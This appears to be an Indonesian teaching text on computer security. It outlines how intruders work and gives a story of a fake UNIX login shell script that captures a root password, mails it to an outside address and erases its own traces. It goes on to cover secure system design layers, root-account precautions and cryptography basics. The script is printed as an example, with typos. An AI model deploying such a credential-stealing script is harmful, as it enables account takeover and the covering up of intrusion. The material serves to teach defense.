Beberapa web site Indonesia sudah dijebol dan daftarnya (beserta
contoh halaman yang sudah dijebol) dapat dilihat di koleksi
2000
Wenas, membuat server sebuah ISP di singapura down








MEMAHAMI HACKER BEKERJA

Secara umum melalui tahapan-tahapan sebagai berikut :
1.      Tahap mencari tahu system komputer sasaran.
2.      Tahap penyusupan
3.      Tahap penjelajahan
4.      Tahap keluar dan menghilangkan jejak.

Contoh kasus Trojan House, memanfaatkan SHELL script UNIX :
Seorang gadis cantik dan genit peserta kuliah UNIX di sebuah perguruan tinggi memiliki potensi memancing pengelola sistem komputer (administrator pemegang account root . . . hmmm) yang lengah. Ia melaporkan bahwa komputer tempat ia melakukan tugas-tugas UNIX yang diberikan tidak dapat dipergunakan. Sang pengelola sistem komputer tentu saja dengan gagah perkasa ingin menunjukkan kekuasaan sebagai administrator UNIX.
"Well, ini soal kecil. Mungkin password kamu ke blokir, biar saya perbaiki dari tempat kamu", ujar administrator UNIX sombong sambil duduk disebelah gadis cantik dan genit peserta kuliah tersebut.
Keesokan harinya, terjadilah kekacauan di sistem UNIX karena diduga terjadi penyusupan oleh hacker termasuk juga hompepage perguruan tinggi tersebut di-obok-obok, maklum pengelolanya masih sama. Selanjutnya pihak perguruan tinggi mengeluarkan press release bahwa homepage mereka dijebol oleh hacker dari Luar Negeri . . . . hihiii
Nah sebenarnya apa sih yang terjadi ?
Sederhana, gadis cantik dan genit peserta kuliah UNIX tersebut menggunakan program kecil my_login dalam bentuk shell script yang menyerupai layar login dan password sistem UNIX sebagai berikut:
#!/bin/sh
###################################
# Nama program : my_login
# Deskripsi :Program kuda trojan sederhana
# versi 1.0 Nopember 1999
####################################
COUNTER=0
Cat /etc/issue
While [ "$COUNTER" –ne 2 ]
do
let COUNTER=$COIUNTER+1
echo "login: \c"
read LOGIN
stty echo
echo "password: \c"
read PASSWORD
echo "User $LOGIN : $PASSWORD" | mail gadis@company.com
stty echo
echo
echo "Login Incorrect"
done
rm $0
kill –9 $PPID

Apabila program ini dijalankan maka akan ditampilkan layar login seperti layaknya awal penggunaan komputer pdaa sistem UNIX:

Login:
Password:

Lihatlah, Administrator UNIX yang gagah perkasa tadi yang tidak melihat gadis tersebut menjalankan program ini tentunya tidak sadar bahwa ini merupakan layar tipuan. Layar login ini tidak terlihat beda dibanding layar login sesungguhnya.
Seperti pada program login sesungguhnya, sistem komputer akan meminta pemakai untuk login ke dalam sistem. Setelah diisi password dan di enter,maka segera timbul pesan

Login:root
Password: ********
Login Incorrect

Tentu saja Administrator UNIX akan kaget bahwa passwordnya ternyata (seolah-olah) salah. Untuk itu ia segera mengulangi login dan password. Setelah dua kali ia mencoba login dan tidak berhasil, maka loginnya dibatalkan dan kembali keluar UNIX.
Perhatikan program di atas baik-baik, sekali pemakai tersebut mencoba login dan mengisi password pada layar di atas, setelah itu maka otomatis data login dan password tersebut akan di email ke mailto:hacker@company.com. Sampai disini maka si gadis lugu dan genit telah mendapatkan login dan password . . . ia ternyata seorang hacker !!
Walaupun sederhana, jika kita perhatikan lebih jauh lagi, maka program ini juga memiliki beberapa trik hacker lainnya, yaitu proses penghilangan jejak (masih ingat tahapan hacker yang ditulis di atas ?). Proses ini dilakukan pada 2 baris terakhir dari program my_login di atas, yaitu

rm $0
kill –9 $PPID

yang artinya akan segera dilakukan proses penghapusan program my_login dan hapus pula ID dari proses. Dengan demikian hilanglah program tersebut yang tentunya juga menhilangkan barang bukti. Ditambah lagi penghapusan terhadap jejak proses di dalam sistem UNIX. Zap . . . hilang sudah tanda-tanda bahwa hacker nya ternyata seorang gadis peserta kuliahnya.

Sukses dari program ini sebenarnya sangat tergantung dari bagaimana agar aplikasi ini dapat dieksekusi oleh root. Hacker yang baik memang harus berusaha memancing agar pemilik root menjalankan program ini.


PRINSIP DASAR PERANCANGAN SISTEM YANG AMAN


1.      Mencegah hilangnya data
2.      Mencegah masuknya penyusup


LAPISAN KEAMANAN :

1.  Lapisan Fisik :
·         membatasi akses fisik ke mesin :
o   Akses masuk ke ruangan komputer
o   penguncian komputer secara hardware
o   keamanan BIOS
o   keamanan Bootloader
·         back-up data :
o   pemilihan piranti back-up
o   penjadwalan back-up
·         mendeteksi gangguan fisik :
·         log file : Log pendek atau tidak lengkap, Log yang berisikan waktu yang aneh, Log dengan permisi atau kepemilikan yang tidak tepat, Catatan pelayanan reboot atau restart, Log yang hilang, masukan su atau login dari tempat yang janggal
·         mengontrol akses sumber daya.

2. Keamanan lokal
Berkaitan dengan user dan hak-haknya :
·         Beri mereka fasilitas minimal yang diperlukan.
·         Hati-hati terhadap saat/dari mana mereka login, atau tempat seharusnya mereka login.
·         Pastikan dan hapus rekening mereka ketika mereka tidak lagi membutuhkan akses.

3. Keamanan Root
·         Ketika melakukan perintah yang kompleks, cobalah dalam cara yang tidak merusak dulu, terutama perintah yang menggunakan globbing: contoh, anda ingin melakukan "rm foo*.bak", pertama coba dulu: "ls foo*.bak" dan pastikan anda ingin menghapus file-file yang anda pikirkan.
·         Beberapa orang merasa terbantu ketika melakukan "touch /-i" pada sistem mereka. Hal ini akan membuat perintah-perintah seperti : "rm -fr *" menanyakan apakah anda benar-benar ingin menghapus seluruh file. (Shell anda menguraikan "-i" dulu, dan memberlakukannya sebagai option -i ke rm).
·         Hanya menjadi root ketika melakukan tugas tunggal tertentu. Jika anda berusaha mengetahui bagaimana melakukan sesuatu, kembali ke shell pemakai normal hingga anda yakin apa yang perlu dilakukan oleh root.
·         Jalur perintah untuk pemakai root sangat penting. Jalur perintah, atau variabel lingkungan PATH mendefinisikan lokal yang dicari shell untuk program. Cobalah dan batasi jalur perintah bagi pemakai root sedapat mungkin, dan jangan pernah menggunakan '.', yang berarti 'direktori saat ini', dalam pernyataan PATH anda. Sebagai tambahan, jangan pernah menaruh direktori yang dapat ditulis pada jalur pencarian anda, karena hal ini memungkinkan penyerang memodifikasi atau menaruh file biner dalam jalur pencarian anda, yang memungkinkan mereka menjadi root ketika anda menjalankan perintah tersebut.
·         Jangan pernah menggunakan seperangkat utilitas rlogin/rsh/rexec (disebut utilitas r) sebagai root. Mereka menjadi sasaran banyak serangan, dan sangat berbahaya bila dijalankan sebagai root. Jangan membuat file .rhosts untuk root.
·         File /etc/securetty berisikan daftar terminal-terminal tempat root dapat login. Secara baku (pada RedHat Linux) diset hanya pada konsol virtual lokal (vty). Berhati-hatilah saat menambahkan yang lain ke file ini. Anda seharusnya login dari jarak jauh sebagai pemakai biasa dan kemudian 'su' jika anda butuh (mudah-mudahan melalui ssh atau saluran terenkripsi lain), sehingga tidak perlu untuk login secara langsung sebagai root.
·         Selalu perlahan dan berhati-hati ketika menjadi root. Tindakan anda dapat mempengaruhi banyak hal. Pikir sebelum anda mengetik!

4. Keamanan File dan system file
·         Directory home user tidak boleh mengakses perintah mengubah system seperti partisi, perubahan device dan lain-lain.
·         Lakukan setting limit system file.
·         Atur akses dan permission file : read, writa, execute bagi user maupun group.
·         Selalu cek program-program yang tidak dikenal

5. Keamanan Password dan Enkripsi
·         Hati-hati terhadap bruto force attack dengan membuat password yang baik.
·         Selalu mengenkripsi file yang dipertukarkan.
·         Lakukan pengamanan pada level tampilan, seperti screen saver.

6. Keamanan Kernel
·         selalu update kernel system operasi.
·         Ikuti review bugs dan kekurang-kekurangan pada system operasi.

7. Keamanan Jaringan
·         Waspadai paket sniffer yang sering menyadap port Ethernet.
·         Lakukan prosedur untuk mengecek integritas data
·         Verifikasi informasi DNS
·         Lindungi network file system
·         Gunakan firewall untuk barrier antara jaringan privat dengan jaringan eksternal


KRIPTOGRAFI


DEFENISI

Cryptography adalah suatu ilmu ataupun seni mengamankan pesan, dan dilakukan oleh cryptographer.
Cryptanalysis adalah suatu ilmu dan seni membuka (breaking) ciphertext dan orang yang melakukannya disebut cryptanalyst.

 

ELEMEN


Proses Enkripsi/Dekripsi


CRYPTOSYSTEM


Cryptographic system atau cryptosystem adalah suatu fasilitas untuk mengkonversikan plaintext ke ciphertext dan sebaliknya. Dalam sistem ini, seperangkat parameter yang menentukan transformasi pencipheran tertentu disebut suatu set kunci. Proses enkripsi dan dekripsi diatur oleh satu atau beberapa kunci kriptografi.

1. Kriptografi dapat memenuhi kebutuhan umum suatu transaksi:

1.      Kerahasiaan (confidentiality) dijamin dengan melakukan enkripsi (penyandian).
2.      Keutuhan (integrity) atas data-data pembayaran dilakukan dengan fungsi hash satu arah.
3.      Jaminan atas identitas dan keabsahan (authenticity) pihak-pihak yang melakukan transaksi dilakukan dengan menggunakan password atau sertifikat digital. Sedangkan keotentikan data transaksi dapat dilakukan dengan tanda tangan digital.
4.      Transaksi dapat dijadikan barang bukti yang tidak bisa disangkal (non-repudiation) dengan memanfaatkan tanda tangan digital dan sertifikat digital.


2. Karakteristik cryptosytem yang baik sebagai berikut :

  1. Keamanan sistem terletak pada kerahasiaan kunci dan bukan pada kerahasiaan algoritma yang digunakan.
  2. Cryptosystem yang baik memiliki ruang kunci (keyspace) yang besar.
  3. Cryptosystem yang baik akan menghasilkan ciphertext yang terlihat acak dalam seluruh tes statistik yang dilakukan terhadapnya.
  4. Cryptosystem yang baik mampu menahan seluruh serangan yang telah dikenal sebelumnya

3. MACAM CRYPTOSYSTEM

A. Symmetric Cryptosystem
Dalam symmetric cryptosystem ini, kunci yang digunakan untuk proses enkripsi dan dekripsi pada prinsipnya identik, tetapi satu buah kunci dapat pula diturunkan dari kunci yang lainnya. Kunci-kunci ini harus dirahasiakan. Oleh karena itulah sistem ini sering disebut sebagai secret-key ciphersystem. Jumlah kunci yang dibutuhkan umumnya adalah :

nC2  = n . (n-1)
          --------
       2
dengan n menyatakan banyaknya pengguna.
Contoh dari sistem ini adalah Data Encryption Standard (DES), Blowfish, IDEA.

B. Assymmetric Cryptosystem
Dalam assymmetric cryptosystem ini digunakan dua buah kunci. Satu kunci yang disebut kunci publik (public key) dapat dipublikasikan, sedang kunci yang lain yang disebut kunci privat (private key) harus dirahasiakan. Proses menggunakan sistem ini dapat diterangkan secara sederhana sebagai berikut : bila A ingin mengirimkan pesan kepada B, A dapat menyandikan pesannya dengan menggunakan kunci publik B, dan bila B ingin membaca surat tersebut, ia perlu mendekripsikan surat itu dengan kunci privatnya. Dengan demikian kedua belah pihak dapat menjamin asal surat serta keaslian surat tersebut, karena adanya mekanisme ini. Contoh sistem ini antara lain RSA Scheme dan Merkle-Hellman Scheme.


4. PROTOKOL CRYPTOSYSTEM

Cryptographic protocol adalah suatu protokol yang menggunakan kriptografi. Protokol ini melibatkan sejumlah algoritma kriptografi, namun secara umum tujuan protokol lebih dari sekedar kerahasiaan. Pihak-pihak yang berpartisipasi mungkin saja ingin membagi sebagian rahasianya untuk menghitung sebuah nilai, menghasilkan urutan random, atau pun menandatangani kontrak secara bersamaan.

Penggunaan kriptografi dalam sebuah protokol terutama ditujukan untuk mencegah atau pun mendeteksi adanya eavesdropping dan cheating.


5. JENIS PENYERANGAN PADA PROTOKOL

·         Ciphertext-only attack. Dalam penyerangan ini, seorang cryptanalyst memiliki ciphertext dari sejumlah pesan yang seluruhnya telah dienkripsi menggunakan algoritma yang sama.
·         Known-plaintext attack. Dalam tipe penyerangan ini, cryptanalyst memiliki akses tidak hanya ke ciphertext sejumlah pesan, namun ia juga memiliki plaintext pesan-pesan tersebut.
·         Chosen-plaintext attack. Pada penyerangan ini, cryptanalyst tidak hanya memiliki akses atas ciphertext dan plaintext untuk beberapa pesan, tetapi ia juga dapat memilih plaintext yang dienkripsi.
·         Adaptive-chosen-plaintext attack. Penyerangan tipe ini merupakan suatu kasus khusus chosen-plaintext attack. Cryptanalyst tidak hanya dapat memilih plaintext yang dienkripsi, ia pun memiliki kemampuan untuk memodifikasi pilihan berdasarkan hasil enkripsi sebelumnya. Dalam chosen-plaintext attack, cryptanalyst mungkin hanya dapat memiliki plaintext dalam suatu blok besar untuk dienkripsi; dalam adaptive-chosen-plaintext attack ini ia dapat memilih blok plaintext yang lebih kecil dan kemudian memilih yang lain berdasarkan hasil yang pertama, proses ini dapat dilakukannya terus menerus hingga ia dapat memperoleh seluruh informasi.
·         Chosen-ciphertext attack. Pada tipe ini, cryptanalyst dapat memilih ciphertext yang berbeda untuk didekripsi dan memiliki akses atas plaintext yang didekripsi.
·         Chosen-key attack. Cryptanalyst pada tipe penyerangan ini memiliki pengetahuan tentang hubungan antara kunci-kunci yang berbeda.
·         Rubber-hose cryptanalysis. Pada tipe penyerangan ini, cryptanalyst mengancam, memeras, atau bahkan memaksa seseorang hingga mereka memberikan kuncinya.